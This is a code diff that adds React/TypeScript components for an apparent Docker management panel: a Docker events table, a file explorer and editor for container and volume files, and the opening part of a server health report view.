||||||
|
},
|
||||||
|
{
|
||||||
|
id: "type",
|
||||||
|
accessorFn: (event) => event.Type ?? "",
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Type" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<Badge variant={getTypeVariant(row.original.Type)}>
|
||||||
|
{row.original.Type ?? "unknown"}
|
||||||
|
</Badge>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "action",
|
||||||
|
accessorFn: (event) => event.Action ?? "",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Action" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<Badge variant={getActionVariant(row.original.Action)}>
|
||||||
|
{row.original.Action ?? "-"}
|
||||||
|
</Badge>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "resource",
|
||||||
|
accessorFn: (event) => getResource(event),
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Resource" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => {
|
||||||
|
const resource = getResource(row.original);
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="max-w-[220px] truncate font-mono text-xs"
|
||||||
|
title={resource}
|
||||||
|
>
|
||||||
|
{resource}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "attributes",
|
||||||
|
accessorFn: (event) => getAttributesText(event),
|
||||||
|
header: "Attributes",
|
||||||
|
enableSorting: false,
|
||||||
|
cell: ({ row }) => {
|
||||||
|
const attributesText = getAttributesText(row.original);
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="max-w-[360px] truncate text-xs text-muted-foreground"
|
||||||
|
title={attributesText}
|
||||||
|
>
|
||||||
|
{attributesText}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
|
||||||
|
const table = useReactTable({
|
||||||
|
data: filteredEvents,
|
||||||
|
columns,
|
||||||
|
getRowId: (row) => row.key,
|
||||||
|
state: {
|
||||||
|
sorting,
|
||||||
|
pagination,
|
||||||
|
},
|
||||||
|
onSortingChange: setSorting,
|
||||||
|
onPaginationChange: setPagination,
|
||||||
|
getCoreRowModel: getCoreRowModel(),
|
||||||
|
getSortedRowModel: getSortedRowModel(),
|
||||||
|
getPaginationRowModel: getPaginationRowModel(),
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||||
|
<div className="rounded-xl bg-background shadow-md">
|
||||||
|
<CardHeader>
|
||||||
|
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||||
|
<div>
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Activity className="size-6 text-muted-foreground self-center" />
|
||||||
|
Docker Events
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Events reported by the Docker daemon, equivalent to running
|
||||||
|
"docker events".
|
||||||
|
</CardDescription>
|
||||||
|
</div>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => refetch()}
|
||||||
|
disabled={isRefetching}
|
||||||
|
>
|
||||||
|
<RefreshCw
|
||||||
|
className={`size-4 mr-1 ${isRefetching ? "animate-spin" : ""}`}
|
||||||
|
/>
|
||||||
|
Refresh
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="space-y-4 py-8 border-t">
|
||||||
|
{error && (
|
||||||
|
<p className="text-sm text-destructive">{error.message}</p>
|
||||||
|
)}
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Input
|
||||||
|
placeholder="Filter by type, action or name..."
|
||||||
|
value={search}
|
||||||
|
onChange={(e) => {
|
||||||
|
setSearch(e.target.value);
|
||||||
|
setPagination((prev) => ({ ...prev, pageIndex: 0 }));
|
||||||
|
}}
|
||||||
|
className="max-w-xs"
|
||||||
|
/>
|
||||||
|
<Select
|
||||||
|
value={String(minutes)}
|
||||||
|
onValueChange={(value) => setMinutes(Number(value))}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[180px]">
|
||||||
|
<SelectValue />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{RANGE_OPTIONS.map((option) => (
|
||||||
|
<SelectItem key={option.value} value={String(option.value)}>
|
||||||
|
{option.label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</div>
|
||||||
|
<div className="rounded-md border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
{table.getHeaderGroups().map((headerGroup) => (
|
||||||
|
<TableRow key={headerGroup.id}>
|
||||||
|
{headerGroup.headers.map((header) => (
|
||||||
|
<TableHead key={header.id}>
|
||||||
|
{header.isPlaceholder
|
||||||
|
? null
|
||||||
|
: flexRender(
|
||||||
|
header.column.columnDef.header,
|
||||||
|
header.getContext(),
|
||||||
|
)}
|
||||||
|
</TableHead>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{isLoading ? (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
<div className="flex flex-row items-center justify-center gap-2">
|
||||||
|
<span>Loading events...</span>
|
||||||
|
<Loader2 className="size-4 animate-spin" />
|
||||||
|
</div>
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
) : table.getRowModel().rows?.length ? (
|
||||||
|
table.getRowModel().rows.map((row) => (
|
||||||
|
<TableRow key={row.id}>
|
||||||
|
{row.getVisibleCells().map((cell) => (
|
||||||
|
<TableCell key={cell.id}>
|
||||||
|
{flexRender(
|
||||||
|
cell.column.columnDef.cell,
|
||||||
|
cell.getContext(),
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
No events found in the selected time range.
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
)}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
{table.getPageCount() > 1 && (
|
||||||
|
<div className="flex items-center justify-end gap-4">
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||||
|
{table.getPageCount()}
|
||||||
|
</span>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<span className="text-sm text-muted-foreground">Go to</span>
|
||||||
|
<Input
|
||||||
|
type="number"
|
||||||
|
min={1}
|
||||||
|
max={table.getPageCount()}
|
||||||
|
defaultValue={table.getState().pagination.pageIndex + 1}
|
||||||
|
key={table.getState().pagination.pageIndex}
|
||||||
|
onKeyDown={(e) => {
|
||||||
|
if (e.key !== "Enter") return;
|
||||||
|
const value = Number(
|
||||||
|
(e.target as HTMLInputElement).value,
|
||||||
|
);
|
||||||
|
if (!Number.isFinite(value)) return;
|
||||||
|
const page = Math.min(
|
||||||
|
Math.max(value, 1),
|
||||||
|
table.getPageCount(),
|
||||||
|
);
|
||||||
|
table.setPageIndex(page - 1);
|
||||||
|
}}
|
||||||
|
onBlur={(e) => {
|
||||||
|
const value = Number(e.target.value);
|
||||||
|
if (!Number.isFinite(value)) return;
|
||||||
|
const page = Math.min(
|
||||||
|
Math.max(value, 1),
|
||||||
|
table.getPageCount(),
|
||||||
|
);
|
||||||
|
table.setPageIndex(page - 1);
|
||||||
|
}}
|
||||||
|
className="w-16 h-8"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.previousPage()}
|
||||||
|
disabled={!table.getCanPreviousPage()}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.nextPage()}
|
||||||
|
disabled={!table.getCanNextPage()}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,401 @@
|
|||||||
|
import {
|
||||||
|
ChevronRight,
|
||||||
|
Download,
|
||||||
|
File,
|
||||||
|
Folder,
|
||||||
|
FolderOpen,
|
||||||
|
Loader2,
|
||||||
|
RefreshCw,
|
||||||
|
Trash2,
|
||||||
|
} from "lucide-react";
|
||||||
|
import { useEffect, useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type Props = {
|
||||||
|
serverId?: string;
|
||||||
|
children?: React.ReactNode;
|
||||||
|
asDropdownItem?: boolean;
|
||||||
|
} & (
|
||||||
|
| { containerId: string; volumeName?: undefined }
|
||||||
|
| { volumeName: string; containerId?: undefined }
|
||||||
|
);
|
||||||
|
|
||||||
|
const joinPath = (base: string, name: string) =>
|
||||||
|
base === "/" ? `/${name}` : `${base}/${name}`;
|
||||||
|
|
||||||
|
const decodeBase64 = (base64: string) => {
|
||||||
|
const binary = atob(base64);
|
||||||
|
const bytes = new Uint8Array(binary.length);
|
||||||
|
for (let i = 0; i < binary.length; i++) {
|
||||||
|
bytes[i] = binary.charCodeAt(i);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const FilesExplorerModal = ({
|
||||||
|
containerId,
|
||||||
|
volumeName,
|
||||||
|
serverId,
|
||||||
|
children,
|
||||||
|
asDropdownItem = true,
|
||||||
|
}: Props) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const [path, setPath] = useState("/");
|
||||||
|
const [selectedFile, setSelectedFile] = useState<string | null>(null);
|
||||||
|
const [editorContent, setEditorContent] = useState("");
|
||||||
|
|
||||||
|
const isVolume = !!volumeName;
|
||||||
|
const utils = api.useUtils();
|
||||||
|
|
||||||
|
const containerEntries = api.docker.listContainerFiles.useQuery(
|
||||||
|
{ containerId: containerId ?? "", path, serverId },
|
||||||
|
{ enabled: open && !isVolume, retry: false },
|
||||||
|
);
|
||||||
|
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
|
||||||
|
{ volumeName: volumeName ?? "", path, serverId },
|
||||||
|
{ enabled: open && isVolume, retry: false },
|
||||||
|
);
|
||||||
|
const {
|
||||||
|
data: entries,
|
||||||
|
isLoading: isLoadingEntries,
|
||||||
|
error: entriesError,
|
||||||
|
refetch: refetchEntries,
|
||||||
|
isRefetching,
|
||||||
|
} = isVolume ? volumeEntries : containerEntries;
|
||||||
|
|
||||||
|
const containerFile = api.docker.readContainerFile.useQuery(
|
||||||
|
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
|
||||||
|
{ enabled: open && !isVolume && !!selectedFile, retry: false },
|
||||||
|
);
|
||||||
|
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
|
||||||
|
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
|
||||||
|
{ enabled: open && isVolume && !!selectedFile, retry: false },
|
||||||
|
);
|
||||||
|
const {
|
||||||
|
data: file,
|
||||||
|
isLoading: isLoadingFile,
|
||||||
|
error: fileError,
|
||||||
|
refetch: refetchFile,
|
||||||
|
} = isVolume ? volumeFile : containerFile;
|
||||||
|
|
||||||
|
const fileBytes = useMemo(
|
||||||
|
() => (file ? decodeBase64(file.content) : null),
|
||||||
|
[file],
|
||||||
|
);
|
||||||
|
const isBinary = useMemo(
|
||||||
|
() => !!fileBytes?.some((byte) => byte === 0),
|
||||||
|
[fileBytes],
|
||||||
|
);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (fileBytes && !isBinary) {
|
||||||
|
setEditorContent(new TextDecoder().decode(fileBytes));
|
||||||
|
}
|
||||||
|
}, [fileBytes, isBinary]);
|
||||||
|
|
||||||
|
const writeContainerFile = api.docker.writeContainerFile.useMutation();
|
||||||
|
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
|
||||||
|
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
|
||||||
|
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
|
||||||
|
|
||||||
|
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
|
||||||
|
const isDeleting =
|
||||||
|
deleteContainerFile.isPending || deleteVolumeFile.isPending;
|
||||||
|
|
||||||
|
const saveFile = async () => {
|
||||||
|
if (!selectedFile) return;
|
||||||
|
try {
|
||||||
|
if (isVolume) {
|
||||||
|
await writeVolumeFile.mutateAsync({
|
||||||
|
volumeName,
|
||||||
|
path: selectedFile,
|
||||||
|
content: editorContent,
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
await writeContainerFile.mutateAsync({
|
||||||
|
containerId: containerId ?? "",
|
||||||
|
path: selectedFile,
|
||||||
|
content: editorContent,
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
toast.success("File saved");
|
||||||
|
refetchFile();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error(
|
||||||
|
error instanceof Error ? error.message : "Failed to save file",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const deleteEntry = async (entryPath: string) => {
|
||||||
|
try {
|
||||||
|
if (isVolume) {
|
||||||
|
await deleteVolumeFile.mutateAsync({
|
||||||
|
volumeName,
|
||||||
|
path: entryPath,
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
await utils.dockerVolume.listVolumeFiles.invalidate();
|
||||||
|
} else {
|
||||||
|
await deleteContainerFile.mutateAsync({
|
||||||
|
containerId: containerId ?? "",
|
||||||
|
path: entryPath,
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
await utils.docker.listContainerFiles.invalidate();
|
||||||
|
}
|
||||||
|
toast.success("Deleted");
|
||||||
|
if (selectedFile === entryPath) {
|
||||||
|
setSelectedFile(null);
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
toast.error(error instanceof Error ? error.message : "Failed to delete");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const breadcrumbs = path.split("/").filter(Boolean);
|
||||||
|
|
||||||
|
const navigate = (nextPath: string) => {
|
||||||
|
setPath(nextPath);
|
||||||
|
setSelectedFile(null);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleOpenChange = (value: boolean) => {
|
||||||
|
setOpen(value);
|
||||||
|
if (!value) {
|
||||||
|
setPath("/");
|
||||||
|
setSelectedFile(null);
|
||||||
|
setEditorContent("");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const downloadFile = () => {
|
||||||
|
if (!fileBytes || !selectedFile) return;
|
||||||
|
const blob = new Blob([fileBytes]);
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const anchor = document.createElement("a");
|
||||||
|
anchor.href = url;
|
||||||
|
anchor.download = selectedFile.split("/").pop() ?? "file";
|
||||||
|
anchor.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={open} onOpenChange={handleOpenChange}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
{asDropdownItem ? (
|
||||||
|
<DropdownMenuItem
|
||||||
|
className="w-full cursor-pointer space-x-3"
|
||||||
|
onSelect={(e) => e.preventDefault()}
|
||||||
|
>
|
||||||
|
{children}
|
||||||
|
</DropdownMenuItem>
|
||||||
|
) : (
|
||||||
|
children
|
||||||
|
)}
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-6xl">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle className="flex items-center gap-2">
|
||||||
|
<FolderOpen className="size-5" />
|
||||||
|
{isVolume ? "Volume Files" : "Container Files"}
|
||||||
|
</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
{isVolume
|
||||||
|
? `Browse and edit files inside the "${volumeName}" volume`
|
||||||
|
: "Browse and edit files inside the container's filesystem"}
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
|
||||||
|
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="hover:underline text-muted-foreground"
|
||||||
|
onClick={() => navigate("/")}
|
||||||
|
>
|
||||||
|
/
|
||||||
|
</button>
|
||||||
|
{breadcrumbs.map((segment, index) => (
|
||||||
|
<span
|
||||||
|
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
|
||||||
|
className="flex items-center gap-1"
|
||||||
|
>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="hover:underline text-muted-foreground"
|
||||||
|
onClick={() =>
|
||||||
|
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{segment}
|
||||||
|
</button>
|
||||||
|
{index < breadcrumbs.length - 1 && (
|
||||||
|
<ChevronRight className="size-3 text-muted-foreground" />
|
||||||
|
)}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="ml-auto size-7"
|
||||||
|
onClick={() => refetchEntries()}
|
||||||
|
>
|
||||||
|
<RefreshCw
|
||||||
|
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
|
||||||
|
/>
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
|
||||||
|
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
|
||||||
|
{isLoadingEntries ? (
|
||||||
|
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : entriesError ? (
|
||||||
|
<div className="p-3">
|
||||||
|
<AlertBlock type="error">{entriesError.message}</AlertBlock>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex flex-col p-1">
|
||||||
|
{path !== "/" && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
|
||||||
|
onClick={() =>
|
||||||
|
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<Folder className="size-4 shrink-0 text-muted-foreground" />
|
||||||
|
..
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
{entries?.length === 0 && (
|
||||||
|
<span className="px-2 py-1.5 text-sm text-muted-foreground">
|
||||||
|
Empty directory
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
{entries?.map((entry) => {
|
||||||
|
const entryPath = joinPath(path, entry.name);
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
key={entry.name}
|
||||||
|
className={`group flex items-center rounded-md hover:bg-muted ${
|
||||||
|
selectedFile === entryPath ? "bg-muted" : ""
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
|
||||||
|
onClick={() =>
|
||||||
|
entry.isDirectory
|
||||||
|
? navigate(entryPath)
|
||||||
|
: setSelectedFile(entryPath)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{entry.isDirectory ? (
|
||||||
|
<Folder className="size-4 shrink-0 text-muted-foreground" />
|
||||||
|
) : (
|
||||||
|
<File className="size-4 shrink-0 text-muted-foreground" />
|
||||||
|
)}
|
||||||
|
<span className="truncate">{entry.name}</span>
|
||||||
|
</button>
|
||||||
|
<DialogAction
|
||||||
|
title={`Delete ${entry.name}?`}
|
||||||
|
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
|
||||||
|
onClick={() => deleteEntry(entryPath)}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
|
||||||
|
isLoading={isDeleting}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-3.5 text-destructive" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex-1 min-w-0 flex flex-col gap-2">
|
||||||
|
{!selectedFile ? (
|
||||||
|
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
|
||||||
|
Select a file to view or edit it
|
||||||
|
</div>
|
||||||
|
) : isLoadingFile ? (
|
||||||
|
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : fileError ? (
|
||||||
|
<AlertBlock type="error">{fileError.message}</AlertBlock>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<span className="text-sm font-mono truncate text-muted-foreground">
|
||||||
|
{selectedFile}
|
||||||
|
</span>
|
||||||
|
<div className="ml-auto flex items-center gap-2">
|
||||||
|
<Button variant="outline" size="sm" onClick={downloadFile}>
|
||||||
|
<Download className="size-4" />
|
||||||
|
Download
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
size="sm"
|
||||||
|
isLoading={isSaving}
|
||||||
|
disabled={isBinary || file?.truncated}
|
||||||
|
onClick={saveFile}
|
||||||
|
>
|
||||||
|
Save
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{file?.truncated ? (
|
||||||
|
<AlertBlock type="warning">
|
||||||
|
This file is larger than 512KB. Showing a truncated preview;
|
||||||
|
editing is disabled. Use Download to get the truncated
|
||||||
|
content or the terminal for full access.
|
||||||
|
</AlertBlock>
|
||||||
|
) : isBinary ? (
|
||||||
|
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
|
||||||
|
Binary file — use Download instead
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex-1 overflow-auto rounded-lg border">
|
||||||
|
<CodeEditor
|
||||||
|
lineWrapping
|
||||||
|
value={editorContent}
|
||||||
|
onChange={(value) => setEditorContent(value)}
|
||||||
|
wrapperClassName="h-full font-mono"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,454 @@
|
|||||||
|
import {
|
||||||
|
AlertTriangle,
|
||||||
|
Cpu,
|
||||||
|
Download,
|
||||||
|
HardDrive,
|
||||||
|
Loader2,
|
||||||
|
Network,
|
||||||
|
RefreshCw,
|
||||||
|
Server as ServerIcon,
|
||||||
|
} from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Card } from "@/components/ui/card";
|
||||||
|
import { Progress } from "@/components/ui/progress";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const bytesToGb = (bytes: number) => (bytes / 1024 ** 3).toFixed(1);
|
||||||
|
const nanoCpusToCores = (nanoCpus: number) => (nanoCpus / 1e9).toFixed(2);
|
||||||
|
const pct = (used: number, total: number) =>
|
||||||
|
Math.min(100, Math.round((used / (total || 1)) * 100));
|
||||||
|
|
||||||
|
const SINCE_HOURS_OPTIONS = [
|
||||||
|
{ label: "Last hour", value: 1 },
|
||||||
|
{ label: "Last 6 hours", value: 6 },
|
||||||
|
{ label: "Last 24 hours", value: 24 },
|
||||||
|
{ label: "Last 7 days", value: 168 },
|
||||||
|
];
|
||||||
|
|
||||||
|
export const ShowHealth = ({ serverId }: Props) => {
|
||||||
|
const [sinceHours, setSinceHours] = useState(24);
|
||||||
|
const {
|
||||||
|
data: health,
|
||||||
|
isFetching,
|
||||||
|
refetch,
|
||||||
|
isFetched,
|
||||||
|
} = api.docker.getServerHealth.useQuery(
|
||||||
|
{ serverId, sinceHours },
|
||||||
|
{ refetchOnMount: false, refetchOnWindowFocus: false },
|
||||||
|
);
|
||||||
|
|
||||||
|
const memUsedPct = health
|
||||||
|
? pct(health.resources.memUsedBytes, health.resources.memTotalBytes)
|
||||||
|
: 0;
|
||||||
|
const diskUsedPct = health
|
||||||
|
? pct(health.disk.usedBytes, health.disk.totalBytes)
|
||||||
|
: 0;
|
||||||
|
const inotifyUsedPct = health
|
||||||
|
? pct(health.inotify.currentInstances, health.inotify.maxInstances)
|
||||||
|
: 0;
|
||||||
|
|
||||||
|
const daemonLogsWindowText = health?.daemonLogsWindow
|
||||||
|
? `Logs from ${new Date(health.daemonLogsWindow.fromEpoch * 1000).toLocaleString()} to ${new Date(health.daemonLogsWindow.toEpoch * 1000).toLocaleString()}`
|
||||||
|
: null;
|
||||||
|
const daemonErrorsText = [
|
||||||
|
daemonLogsWindowText,
|
||||||
|
health && health.daemonErrors.length > 0
|
||||||
|
? health.daemonErrors.join("\n")
|
||||||
|
: "(no daemon errors matched in this window)",
|
||||||
|
]
|
||||||
|
.filter(Boolean)
|
||||||
|
.join("\n\n");
|
||||||
|
|
||||||
|
const buildHealthReport = () => {
|
||||||
|
if (!health) return "";
|
||||||
|
const lines: string[] = [];
|
||||||
|
lines.push("# Dokploy server health report");
|
||||||
|
lines.push(`Generated: ${new Date(health.checkedAt).toLocaleString()}`);
|
||||||
|
lines.push(
|
||||||
|
`Window: ${SINCE_HOURS_OPTIONS.find((o) => o.value === sinceHours)?.label ?? `${sinceHours}h`}`,
|
||||||
|
);
|
||||||
|
lines.push("");
|
||||||
|
|
||||||
|
lines.push("## Containers & services");
|
||||||
|
lines.push(`Containers: ${health.containers.containerCount}`);
|
||||||
|
lines.push(`Swarm services: ${health.containers.serviceCount}`);
|
||||||
|
lines.push("");
|
||||||
|
|
||||||
|
lines.push("## Host resources");
|
||||||
|
lines.push(
|
||||||
|
`Memory: ${bytesToGb(health.resources.memUsedBytes)} / ${bytesToGb(health.resources.memTotalBytes)} GB`,
|
||||||
|
);
|
||||||
|
lines.push(`CPU cores: ${health.resources.cpuCount}`);
|
||||||
|
lines.push("");
|
||||||
|
|
||||||
|
lines.push("## Disk (/)");
|
||||||
|
lines.push(
|
||||||
|
`${bytesToGb(health.disk.usedBytes)} / ${bytesToGb(health.disk.totalBytes)} GB`,
|
||||||
|
);
|
||||||
|
lines.push("");
|
||||||
|
|
||||||
|
lines.push("## Inotify");
|
||||||
|
lines.push(
|
||||||
|
`max_user_instances: ${health.inotify.currentInstances} / ${health.inotify.maxInstances}`,
|
||||||
|
);
|
||||||
|
lines.push(`max_user_watches: ${health.inotify.maxWatches}`);
|
||||||
|
lines.push(`max_queued_events: ${health.inotify.maxQueuedEvents}`);
|
||||||
|
lines.push(
|
||||||
|
`Persisted in sysctl: ${health.inotify.persisted ? "yes" : "no"}`,
|
||||||
|
);
|
||||||
|
lines.push("");
|
||||||
|
|
||||||
|
lines.push("## Docker networks");
|
||||||
|
lines.push(`Total networks: ${health.dockerNetworks.count}`);
|
||||||
|
if (health.dockerNetworks.addressPools) {
|
||||||
|
lines.push(
|
||||||
|
`default-address-pools: ${JSON.stringify(health.dockerNetworks.addressPools)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
